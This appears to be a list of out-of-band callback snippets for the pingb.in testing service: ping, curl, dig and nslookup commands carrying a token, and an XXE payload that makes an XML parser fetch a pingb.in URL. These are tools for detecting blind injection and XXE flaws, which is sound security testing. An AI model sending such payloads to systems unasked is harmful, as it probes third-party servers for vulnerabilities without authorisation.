$ ping -c1 -p 000acd06b847bddd8dfd36833b4b4600 pingb.in
 

$ curl pingb.in/p/0acd06b847bddd8dfd36833b4b46
 

$ dig 0acd06b847bddd8dfd36833b4b46 @pingb.in
 

$ dig 0acd06b847bddd8dfd36833b4b46.ns.pingb.in
 

C:\> nslookup 0acd06b847bddd8dfd36833b4b46 pingb.in
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/0acd06b847bddd8dfd36833b4b46">]>
    <foo>&xxe;</foo>